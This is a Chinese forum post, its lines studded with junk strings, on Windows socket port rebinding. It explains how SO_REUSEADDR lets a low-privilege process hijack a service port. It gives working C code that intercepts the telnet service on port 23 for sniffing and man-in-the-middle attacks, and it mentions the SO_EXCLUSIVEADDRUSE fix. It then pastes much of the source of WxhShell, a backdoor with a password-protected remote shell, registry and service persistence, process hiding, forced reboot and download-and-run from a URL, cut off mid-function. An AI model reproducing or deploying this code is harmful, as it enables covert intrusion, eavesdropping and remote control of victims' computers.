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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6MW{,N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %1L,Y  
kD%( _K5  
  saddr.sin_family = AF_INET; i]4I [!  
n@i HFBb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WwFm*4{[o  
q2j{tP#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >=>2m2z=  
Or+U@vAnk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  _[3D  
o|:b;\)b  
  这意味着什么?意味着可以进行如下的攻击: "sCRdx]_  
+\A,&;!SR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Qv-_ jZ  
rlLMT6r.8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C!!M%P  
6 "sSoj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B9 uoVcW  
yyJ  f%{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !.gIHY  
ITBE|b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  (ZizuHC  
3$R1ipb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e !Y~Qy  
!pW0qX\1n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T^KKy0ZGM  
}0z)5c  
  #include SH$PwJU  
  #include %> eiAB_b  
  #include 7}>EJ  
  #include    ki!0^t:9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LRA8p<Rs  
  int main() n84|{l581  
  { SnfYT)Ph  
  WORD wVersionRequested; \2$|Ei7  
  DWORD ret; \8cx6 G'  
  WSADATA wsaData; KpGhQdR#  
  BOOL val; niyV8v  
  SOCKADDR_IN saddr; tWRC$  
  SOCKADDR_IN scaddr; D>q9 3;p  
  int err; GVn!O1jio  
  SOCKET s; Otuf] B^s  
  SOCKET sc; S\=Nn7"  
  int caddsize; )t#W{Gzfmh  
  HANDLE mt; a=2%4Wmz  
  DWORD tid;   ##*3bDf$-5  
  wVersionRequested = MAKEWORD( 2, 2 ); t{96p77)=  
  err = WSAStartup( wVersionRequested, &wsaData ); +<C!U'  
  if ( err != 0 ) { K%oG,-wdg  
  printf("error!WSAStartup failed!\n"); D,feF9  
  return -1; ,qxu|9L  
  } bG#>uE J-  
  saddr.sin_family = AF_INET; 5j(k:a+!H  
   ~>|ziHx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8Z~EwY*  
iBa A9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &8lZNv8;(p  
  saddr.sin_port = htons(23); e"<OELA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VPo".BvG6  
  { Nf\LN$ &8  
  printf("error!socket failed!\n"); o+'6`g'8  
  return -1; 0l6.<-f{  
  } fHFE){  
  val = TRUE; O0.*Pmt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (9a^$C*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4Nsp<Kn>  
  { *EH~_F  
  printf("error!setsockopt failed!\n"); 1qA;/-Zr<o  
  return -1; {IjR^J=k  
  } ]/v[8dS(l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; })%{AfDRF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JZ x[W&]zT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 upmx $H>  
5H^ (2w  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o]V^};B  
  { F^:3?JA _  
  ret=GetLastError(); t6c4+D'{].  
  printf("error!bind failed!\n"); 59u }W 0  
  return -1; l/5 hp.  
  } [/r(__.  
  listen(s,2); `a/`,N  
  while(1) ^2rN>k,?  
  { hZb_P\1X  
  caddsize = sizeof(scaddr); E1 2uZ$X  
  //接受连接请求 :2`e(+Uz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,P0) 6>  
  if(sc!=INVALID_SOCKET) 8s@3hXD&  
  { >t+P(*u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jH:[2N?  
  if(mt==NULL) f o3}W^0  
  { ;uGv:$([g  
  printf("Thread Creat Failed!\n"); F+qm[Bc8  
  break; YmG("z  
  } $`8wJf9@w  
  } ]SEZaT  
  CloseHandle(mt); LS[]=Mk@1  
  } h(DTa  
  closesocket(s); QT}tvm@PMq  
  WSACleanup(); omx=  
  return 0; Mtx4'WZ  
  }   ~W/z96' 5  
  DWORD WINAPI ClientThread(LPVOID lpParam) V7/Rby Q  
  { [}m[)L\  
  SOCKET ss = (SOCKET)lpParam; 8ao_i=&x  
  SOCKET sc; UiNP3TJ'L  
  unsigned char buf[4096]; V;=cwy)I  
  SOCKADDR_IN saddr; 6y<EgYzdE  
  long num; uxz^/Gk  
  DWORD val; EU#^7  
  DWORD ret; %C]>9."  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !G|@6W`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zH r_!~  
  saddr.sin_family = AF_INET; Z\sDUJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]4e;RV-B  
  saddr.sin_port = htons(23); %yC,^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v$9y,^p@e  
  { |s_GlJV.  
  printf("error!socket failed!\n"); DmcZta8n]  
  return -1; 1Y,Z %d  
  } yhJ@(tu.Gd  
  val = 100; :4|4=mkr  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !)$Zp\Sg  
  { ~TtiO#,t  
  ret = GetLastError(); +ZV5o&V>  
  return -1; rm_Nn8p,  
  } Hn:Crl y#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7+*WH|Z@  
  { ^.y\(=  
  ret = GetLastError(); iy"*5<;*DD  
  return -1; %iB,IEw  
  } `D9$v(Ztr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \M-OC5fQv  
  { O/LXdz0B  
  printf("error!socket connect failed!\n"); EQ_aa@M7  
  closesocket(sc); <VE@DBWyl~  
  closesocket(ss); dRMx[7jVA  
  return -1; : Dp0?&_  
  } F'Z,]b'st3  
  while(1) w-jVC^C]  
  { 5r0YA IJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lhJ'bYI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 30{ gI0jk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p ll)Y  
  num = recv(ss,buf,4096,0); I1J-)R+  
  if(num>0) PvL[e"p  
  send(sc,buf,num,0); H?w6C):]  
  else if(num==0) pCG}Z Ka  
  break; fqd^9wl>P6  
  num = recv(sc,buf,4096,0); i/.6>4tE:  
  if(num>0) lq uLT6]  
  send(ss,buf,num,0); A}!J$V:w]  
  else if(num==0) 9BB=YnKE  
  break; CJyevMf'  
  } !x)R=Z/C  
  closesocket(ss); (k P9hcV  
  closesocket(sc); (m$Y<{)2  
  return 0 ; +`15le`R  
  } p<%d2@lp  
4ppz,L,4  
JGZBL{8  
========================================================== E{@[k%,_  
I+(nu47ZT  
下边附上一个代码,,WXhSHELL qgB_=Q#E  
9H~n _   
========================================================== $VR{q6[0S?  
i~72bMwsA  
#include "stdafx.h" <ZW-QN4  
XP}<N&j  
#include <stdio.h> ~M$Wd2Th  
#include <string.h> G/W>S,(  
#include <windows.h> }B^tL$k  
#include <winsock2.h> >Gu M]qn  
#include <winsvc.h> dWW.Y*339  
#include <urlmon.h> QWU-m{@~&  
O&&~NXI\  
#pragma comment (lib, "Ws2_32.lib") 3U}%2ARo_  
#pragma comment (lib, "urlmon.lib") ^f@=:eWI  
[><Tm \(:  
#define MAX_USER   100 // 最大客户端连接数 @+DX.9  
#define BUF_SOCK   200 // sock buffer fsXy"#mOkD  
#define KEY_BUFF   255 // 输入 buffer #Q5o)x  
tBSW|0  
#define REBOOT     0   // 重启 R!1p^~/  
#define SHUTDOWN   1   // 关机 {)Xy%QV  
&j6erwaT  
#define DEF_PORT   5000 // 监听端口 62u4-}JzF  
#z42C?V  
#define REG_LEN     16   // 注册表键长度 cb bFw  
#define SVC_LEN     80   // NT服务名长度 d5-qZ{W  
_Ey5n!0:  
// 从dll定义API ,z6~?6m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0`H# '/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qSQ~D(tO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1*7@BP5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kcEeFG;DQ  
 lRQYpc\  
// wxhshell配置信息 @nf`Gw ;  
struct WSCFG { |uDdHX8T  
  int ws_port;         // 监听端口 tp|d*7^i  
  char ws_passstr[REG_LEN]; // 口令 $ Q0n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 31)&vf[[  
  char ws_regname[REG_LEN]; // 注册表键名 fy$1YI>!Q  
  char ws_svcname[REG_LEN]; // 服务名 Kpp_|2|@<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y*hCMy;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h];I{crh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 cCX*D_kCB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (sj,[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s^SJY{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]^]wP]R_  
IA(5?7x`<  
}; 7z-[f'EIUI  
^Dx&|UwiZa  
// default Wxhshell configuration _cwpA#x`}  
struct WSCFG wscfg={DEF_PORT, ;kK/_%gN-G  
    "xuhuanlingzhe", jdBLsy@  
    1, Pz^544\~ou  
    "Wxhshell", 4P0}+  
    "Wxhshell", @ P|y{e6  
            "WxhShell Service", x"g&#Vq ~  
    "Wrsky Windows CmdShell Service", Ss`LLq0LO  
    "Please Input Your Password: ", W!<U85-#S  
  1, j.YA 2mr  
  "http://www.wrsky.com/wxhshell.exe", +|rj4j)L&'  
  "Wxhshell.exe" _*zt=zn>  
    }; SAz   
OJxl<Q=z  
// 消息定义模块 }\LQ3y"[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nDW9NQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W>LR\]Ti@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D,6:EV"sa  
char *msg_ws_ext="\n\rExit."; snJ129}A  
char *msg_ws_end="\n\rQuit."; Dzbz)Zst  
char *msg_ws_boot="\n\rReboot..."; &wX]_:?  
char *msg_ws_poff="\n\rShutdown..."; cnLro  
char *msg_ws_down="\n\rSave to ";  3CJwj  
KTv$  
char *msg_ws_err="\n\rErr!"; -YE^zzh  
char *msg_ws_ok="\n\rOK!"; d'2A,B~_*  
~5g~;f[4  
char ExeFile[MAX_PATH]; `{Ul!  
int nUser = 0; 1Z;iV<d  
HANDLE handles[MAX_USER]; qWw=8Bq  
int OsIsNt; o(HbGHIP  
<QvOs@i*  
SERVICE_STATUS       serviceStatus; ;=N# `l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *`U~?q}  
0aAoV0fMDz  
// 函数声明 2?x4vI np;  
int Install(void); q:(%*sY>  
int Uninstall(void); h$*!8=M  
int DownloadFile(char *sURL, SOCKET wsh); Ls%MGs9PI  
int Boot(int flag); w(rE`IgW  
void HideProc(void); _Y!IEAU/#  
int GetOsVer(void); +qoRP2  
int Wxhshell(SOCKET wsl); n|;Im&,  
void TalkWithClient(void *cs); 6wxs1G  
int CmdShell(SOCKET sock); f5r0\7y0  
int StartFromService(void); @.C2LIb  
int StartWxhshell(LPSTR lpCmdLine); % `3jL7|  
xfQ1T)F3g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [vgtc.V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wj+*E6o-n  
$^ P0F9~0  
// 数据结构和表定义 ZW}_DT0  
SERVICE_TABLE_ENTRY DispatchTable[] = l ,8##7  
{ ]-q;4.  
{wscfg.ws_svcname, NTServiceMain}, #F#%`Rv1  
{NULL, NULL} nK,w]{<wG!  
}; g){<y~Mk  
RZ7@cQY  
// 自我安装 >/|*DI-HJ  
int Install(void) Uv.)?YeGh  
{ %LV9=!w  
  char svExeFile[MAX_PATH]; ?EL zj  
  HKEY key; ,)XLq8  
  strcpy(svExeFile,ExeFile); _L PHPj^Pg  
xwr8`?]y  
// 如果是win9x系统,修改注册表设为自启动 "8RSvT<W^5  
if(!OsIsNt) { ! z**y}<T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9UkBwS`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E3i4=!Y  
  RegCloseKey(key); 6-I'>\U~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !?XC1xe~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +H.`MZ=  
  RegCloseKey(key); FtZ?C@1/  
  return 0; >bxS3FCX  
    } -%~4W?  
  } M{\I8oOg  
} q@&6#B  
else { R@0R`Zs  
( =$ x.1  
// 如果是NT以上系统,安装为系统服务 R2;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1,~D4lD|  
if (schSCManager!=0) y^k$Us  
{ /,dz@   
  SC_HANDLE schService = CreateService 8QK&_n*  
  ( S:Hl/:iV  
  schSCManager, <UI [%yXj  
  wscfg.ws_svcname, <[phnU^ 8  
  wscfg.ws_svcdisp, sS Mh`4'  
  SERVICE_ALL_ACCESS, (ZGbh MK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %RVZD#zr  
  SERVICE_AUTO_START, y(&Ac[foS}  
  SERVICE_ERROR_NORMAL, 6mE\OS-I  
  svExeFile, j [a(#V{  
  NULL, ZoeD:xnh[  
  NULL, TV:9bn?r)  
  NULL, Mhu*[a=;x  
  NULL, XuTD\g3)  
  NULL O8o3O 6[Y  
  ); 2T1q?L?]  
  if (schService!=0) (mOtU8e  
  { dveiQ  
  CloseServiceHandle(schService); v^iAD2X/F  
  CloseServiceHandle(schSCManager); : +u]S2u{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &L:!VL{I  
  strcat(svExeFile,wscfg.ws_svcname); @co S+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G)YcJv7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *_e3 @g  
  RegCloseKey(key); N;R^h? '  
  return 0; LLI.8kn7  
    } 43w}qY1  
  } lMt=|66  
  CloseServiceHandle(schSCManager); 0a7Ppntb@  
}  9!GM{  
} .VqhV  
jylD6IT  
return 1; QnDg 6m)+  
} i@q&5;%%  
)_:NLo:  
// 自我卸载 Fcx&hj1gQ  
int Uninstall(void) *v`eUQ:  
{ r^ XVB`v  
  HKEY key; jCY %|  
x38 QD;MT  
if(!OsIsNt) { b$7 +;I;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  k'YTpO  
  RegDeleteValue(key,wscfg.ws_regname); DH=hH&[e(d  
  RegCloseKey(key); FwK] $4*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NHt\ U9l'  
  RegDeleteValue(key,wscfg.ws_regname); rjP/l6 ~'  
  RegCloseKey(key); f^e)O$N9]  
  return 0; 3^ClAE"8  
  } 7=uj2.J6  
} JT?h1v<H]  
} WAqINLdX  
else { _g8yDfcLG  
J4'eI[73  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y7{?Ip4[  
if (schSCManager!=0) IBGrt^$M  
{ LD?sh"?b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @iiT<  
  if (schService!=0) _aphkeqd  
  { / 1RpM]d  
  if(DeleteService(schService)!=0) { #Y! a6h+  
  CloseServiceHandle(schService); VUc%4U{Cti  
  CloseServiceHandle(schSCManager); ("@!>|H  
  return 0; Y2TtY;  
  } Mt$ *a  
  CloseServiceHandle(schService); B?QIN]  
  } s.rm7r@ #  
  CloseServiceHandle(schSCManager); b>W %t  
} R_KH"`q  
} $qiya[&G4  
9sP0D  
return 1; #tHK"20  
} c L]1f  
~u{uZ(~  
// 从指定url下载文件 SM '|+ d  
int DownloadFile(char *sURL, SOCKET wsh) 0K+ne0I  
{ do_[&  
  HRESULT hr; 3$tdwe$S  
char seps[]= "/"; |)&%A%m  
char *token; GyIV Hby  
char *file; #c J@uqR  
char myURL[MAX_PATH]; 7$b1<.WX  
char myFILE[MAX_PATH]; H\ %7%  
6863xOv{T  
strcpy(myURL,sURL); 1oS/`)  
  token=strtok(myURL,seps); #WuBL_nZ~  
  while(token!=NULL) u, ff>/1  
  { s7<AfaJPF  
    file=token; #spCtZE  
  token=strtok(NULL,seps); | Iib|HQ)  
  } W!X@  
|4JEU3\$  
GetCurrentDirectory(MAX_PATH,myFILE); 4 5e~6",  
strcat(myFILE, "\\"); 7v kL1IA  
strcat(myFILE, file); s%S  
  send(wsh,myFILE,strlen(myFILE),0); ' %qr.T %  
send(wsh,"...",3,0); CAJ'zA|o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r$1Qf}J3=  
  if(hr==S_OK) |>Vb9:q9Po  
return 0; ok[i<zl; '  
else 97]E1j]  
return 1; <} .$l  
"g|#B4'e  
} NUZl`fu1Z4  
6<]lW  
// 系统电源模块 2iOV/=+  
int Boot(int flag) YVU7wW,1  
{ \G[$:nS  
  HANDLE hToken; -@s#uA h  
  TOKEN_PRIVILEGES tkp; 7r!x1  
M7T5 ~/4  
  if(OsIsNt) { %4H%?4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Sf'CN8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I0 -MRU~[K  
    tkp.PrivilegeCount = 1; %{|pj +  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \<' ?8ri#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L#J1b!D&<6  
if(flag==REBOOT) { fl(wV.Je|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t!XwW$@  
  return 0; s#11FfF`  
} o4X{L`m  
else { Wc#24:OKe3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +2{Lh7Ks  
  return 0; JI}'dU>*U:  
} 3$ pX  
  } u[YGm:}  
  else { $I=~S[p  
if(flag==REBOOT) { =  [E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oxs#866x  
  return 0; ? k/`  
}  @5FQX  
else { A&VG~r$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KPF1cJ2N  
  return 0; w>gYx(8b  
} \dVOwr  
} v+XJ*N[W  
(HVGlw'`  
return 1; X8|,   
} DVA:Cmh\  
ueudRb  
// win9x进程隐藏模块 G[=c Ss,  
void HideProc(void) $i&zex{\  
{ uFE)17E  
C Z;6@{ o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C]6O!Pb0  
  if ( hKernel != NULL ) )e{aN+  
  { Hka2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L,\Iasv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \hXDO_U  
    FreeLibrary(hKernel); KoT\pY^7\  
  } g#bRT*,L  
^W ^OfY  
return; @dK Tx#gZ  
} s<Ziegmw|g  
+>,I1{u%&  
// 获取操作系统版本 hb$Ce'}N  
int GetOsVer(void) 7dWS  
{ qPNR`%}Q  
  OSVERSIONINFO winfo; R_C)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _f83-':W6  
  GetVersionEx(&winfo); ^('wy};  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %EH)&k  
  return 1; F5<H m_\:  
  else V0@=^Bls  
  return 0; e+WNk 2  
} }#fbbtd  
]M=&+c>H~  
// 客户端句柄模块 aN?zmkPpov  
int Wxhshell(SOCKET wsl) /: "1Z]@  
{ a(nlTMfu  
  SOCKET wsh; dd;~K&_Q/i  
  struct sockaddr_in client; W1~0_;  
  DWORD myID; zCZf%ATq  
:Ye !w$r  
  while(nUser<MAX_USER) 4s- !7  
{ e ,(mR+a8  
  int nSize=sizeof(client); vsPu*[%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =cI(d ,  
  if(wsh==INVALID_SOCKET) return 1; P pb\6|*  
fhiM U8(&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V gWRW7Se  
if(handles[nUser]==0) Ml_^ `vn  
  closesocket(wsh); o-5TC  
else !L(^(;$Kgr  
  nUser++; C dn J&N{  
  } u 9e@a9c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K+eM   
[n@] r2g)3  
  return 0; u`W2 +S  
} SUiOJ[5,  
>:-$+I  
// 关闭 socket (`^1Y3&2  
void CloseIt(SOCKET wsh) 04ui`-c(  
{ }2jn[${ pr  
closesocket(wsh); @d'j zs  
nUser--; e'~3oqSvR  
ExitThread(0); zhQJy?>'m  
} 7!1S)dup  
3] Ct6  
// 客户端请求句柄 (PL UFT  
void TalkWithClient(void *cs) ?<!|  
{ oH@78D0A  
!$ JT e  
  SOCKET wsh=(SOCKET)cs; C%u28|  
  char pwd[SVC_LEN]; KlEpzJ98  
  char cmd[KEY_BUFF]; 2y4bwi  
char chr[1]; :WEDAFq0  
int i,j; C|bET  
>4TO=i  
  while (nUser < MAX_USER) { i-1op> Y  
&C}*w2]0S  
if(wscfg.ws_passstr) { sHj/;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3o*YzwRt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); - ).C  
  //ZeroMemory(pwd,KEY_BUFF); )0`C@um  
      i=0; 81F9uM0  
  while(i<SVC_LEN) { 10&8-p1/mc  
Rq-ZL{LR7  
  // 设置超时 -"x$ZnHU  
  fd_set FdRead; ]Wup/o  
  struct timeval TimeOut; W/N7vAx X  
  FD_ZERO(&FdRead); 5xiEPh  
  FD_SET(wsh,&FdRead); ).O)p9  
  TimeOut.tv_sec=8; KNl$3nX  
  TimeOut.tv_usec=0; 0GLM(JmK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~%oR[B7=|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eci\a]  
P55fL-vo|}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }>\C{ClI  
  pwd=chr[0]; kh<2BOV  
  if(chr[0]==0xd || chr[0]==0xa) { ctQ/wrkU  
  pwd=0; :FF=a3/"6  
  break; 4eu O1=  
  } gXU8hTd8  
  i++; u8^lB7!e/  
    }  7GGUV  
(Ldi|jL  
  // 如果是非法用户,关闭 socket Iu{V,U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k6^Z~5 Sy  
} qq?!LEZ  
rv;3~'V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :RYTL'hes  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x`s>*^  
7<4qQ.deE  
while(1) { XW/o<[91  
crCJrN=  
  ZeroMemory(cmd,KEY_BUFF); \8tsDG(1 '  
#yen8SskB  
      // 自动支持客户端 telnet标准   4-w{BZuS  
  j=0; tPvpJX6kP  
  while(j<KEY_BUFF) { "@kaHIf[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f$( e\+ +  
  cmd[j]=chr[0]; ]:;&1h3'7  
  if(chr[0]==0xa || chr[0]==0xd) { iU-j"&L5  
  cmd[j]=0; 'w/hw'F6  
  break; ]9-\~Mwh  
  } al0L&z\  
  j++; XW9!p.*.U  
    } M5B# TAybC  
zs;JJk^  
  // 下载文件 }JfjX '  
  if(strstr(cmd,"http://")) { /reX{Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u2I Cl  
  if(DownloadFile(cmd,wsh)) BUFv|z+H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =a!=2VN9y  
  else & kIFcd@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :&Nbw  
  } p_ =z#  
  else { AW .F3hN)  
0:+E-^X  
    switch(cmd[0]) { DIvHvFss  
  i4Jc.8^9$  
  // 帮助 oU|c.mYe  
  case '?': { |qLh5Ty  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =41xkAMnk  
    break; 8MBAtVmy  
  } e!`i3KYn"  
  // 安装 !k%#R4*>  
  case 'i': { <{pz<io)  
    if(Install()) ex|F|0k4}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @x1-! ~z#  
    else PH"%kCI:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $( )>g>%  
    break; g`^x@rj`E  
    } <#.g=ay  
  // 卸载 =43auFY-P  
  case 'r': { @o^Ww  
    if(Uninstall()) ;jPXs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e )ZUO_Q$  
    else AGno6g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D$N /FJ8|G  
    break; DlT{`  
    } Mtv?:q  
  // 显示 wxhshell 所在路径 BY*Q_Et  
  case 'p': { |%wX*zaf  
    char svExeFile[MAX_PATH]; %\DX#.  
    strcpy(svExeFile,"\n\r"); GfG|&VNlz  
      strcat(svExeFile,ExeFile); 'S~5"6r  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ 1pr~  
    break; (t.Nk[  
    } x"(KBEK~  
  // 重启 edV\-H5<  
  case 'b': { +V+a4lU14  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /=h` L ,  
    if(Boot(REBOOT)) HDKbF/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 07)yG:q*x  
    else { -N@|QK>  
    closesocket(wsh); -/k 3a*$/  
    ExitThread(0); & ~!Wym  
    } } %z   
    break; aT<q=DO  
    } t Pf40`@  
  // 关机 7.T?#;'3  
  case 'd': { p7Cs.2>M>S  
